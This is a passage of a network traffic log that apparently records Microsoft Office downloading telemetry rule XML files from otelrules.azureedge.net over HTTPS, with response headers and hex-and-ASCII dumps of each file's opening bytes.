2024-10-08 18:52:20 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 18:52:20 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB6AD293" x-ms-request-id: 77012b0e-b01e-0097-0bff-164f33000000 x-ms-version: 2018-03-28 x-azure-ref: 20241008T185220Z-1657d5bbd48jwrqbupe3ktsx9w00000005ng00000000821y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-08 18:52:20 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 63 75 72 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSecurity" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.9	49821	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-08 18:52:20 UTC	192	OUT	GET /rules/rule702801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-08 18:52:20 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 18:52:20 GMT Content-Type: text/xml Content-Length: 1391 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF58DC7E" x-ms-request-id: a18d9b1d-601e-0002-1f03-17a786000000 x-ms-version: 2018-03-28 x-azure-ref: 20241008T185220Z-1657d5bbd48t66tjar5xuq22r8000000057g000000011rg2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-08 18:52:20 UTC	1391	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.9	49824	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-08 18:52:20 UTC	192	OUT	GET /rules/rule703350v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-08 18:52:21 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 18:52:20 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:42 GMT ETag: "0x8DC582BDF1E2608" x-ms-request-id: c9f5ea47-201e-0071-33fe-16ff15000000 x-ms-version: 2018-03-28 x-azure-ref: 20241008T185220Z-1657d5bbd48q6t9vvmrkd293mg000000058000000000zu2c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-08 18:52:21 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 63 72 69 70 74 4c 61 62 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703350" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenScriptLab" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.9	49823	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-08 18:52:20 UTC	192	OUT	GET /rules/rule703351v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-08 18:52:21 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 18:52:20 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCDD6400" x-ms-request-id: 7eff4fbb-001e-002b-7d98-1999f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241008T185220Z-1657d5bbd48gjrh9ymem1nvr1n00000000u000000000a86t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-08 18:52:21 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703351" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.9	49822	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-08 18:52:20 UTC	192	OUT	GET /rules/rule702800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-08 18:52:21 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 18:52:20 GMT Content-Type: text/xml Content-Length: 1354 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0662D7C" x-ms-request-id: d4fd285a-d01e-005a-06ed-167fd9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241008T185220Z-1657d5bbd48vhs7r2p1ky7cs5w00000005kg00000001170p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-08 18:52:21 UTC	1354	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S="Medium" /> <F T="2"> <O

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.9	49825	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-08 18:52:21 UTC	192	OUT	GET /rules/rule703501v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-08 18:52:21 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 18:52:21 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:59 GMT ETag: "0x8DC582BE8C605FF" x-ms-request-id: 635e2ff4-801e-0035-1973-17752a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241008T185221Z-1657d5bbd48t66tjar5xuq22r800000005bg00000000ffse x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-08 18:52:21 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703501" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSa

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.9	49826	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-08 18:52:21 UTC	192	OUT	GET /rules/rule703500v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-08 18:52:21 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 18:52:21 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF497570" x-ms-request-id: 838d785c-001e-0014-24fe-165151000000 x-ms-version: 2018-03-28 x-azure-ref: 20241008T185221Z-1657d5bbd48lknvp09v995n79000000004y000000000uu8v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-08 18:52:21 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 6e 64 62 6f 78 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703500" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSandbox" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.9	49827	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-08 18:52:21 UTC	192	OUT	GET /rules/rule701801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-08 18:52:21 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 18:52:21 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC2EEE03" x-ms-request-id: 4d8e5842-701e-0021-0efe-163d45000000 x-ms-version: 2018-03-28 x-azure-ref: 20241008T185221Z-1657d5bbd487nf59mzf5b3gk8n000000053000000000452s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-08 18:52:21 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.9	49829	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-08 18:52:21 UTC	192	OUT	GET /rules/rule701051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-08 18:52:21 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 18:52:21 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:47 GMT ETag: "0x8DC582BE1CC18CD" x-ms-request-id: cd0b82ba-d01e-0049-1304-17e7dc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241008T185221Z-1657d5bbd48vlsxxpe15ac3q7n00000005c000000000eumz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-08 18:52:21 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRe

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.9	49828	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-08 18:52:21 UTC	192	OUT	GET /rules/rule701800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-08 18:52:21 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 18:52:21 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BEA414B16" x-ms-request-id: 8a56303a-c01e-0066-0f01-17a1ec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241008T185221Z-1657d5bbd48xlwdx82gahegw4000000005h000000000r2gu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-08 18:52:21 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 73 6f 75 72 63 65 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenResources" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.9	49831	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-08 18:52:22 UTC	192	OUT	GET /rules/rule701050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-08 18:52:22 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 18:52:22 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB256F43" x-ms-request-id: 0c184816-a01e-000d-72ff-16d1ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241008T185222Z-1657d5bbd4824mj9d6vp65b6n400000005ng0000000077t4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-08 18:52:22 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 6c 65 61 73 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRelease" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.9	49830	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-08 18:52:22 UTC	192	OUT	GET /rules/rule702751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-08 18:52:22 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 18:52:22 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB866CDB" x-ms-request-id: 061ec1fa-701e-000d-1f52-196de3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241008T185222Z-1657d5bbd48xjgsr3pyv9u71rc00000001cg00000000c7f1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
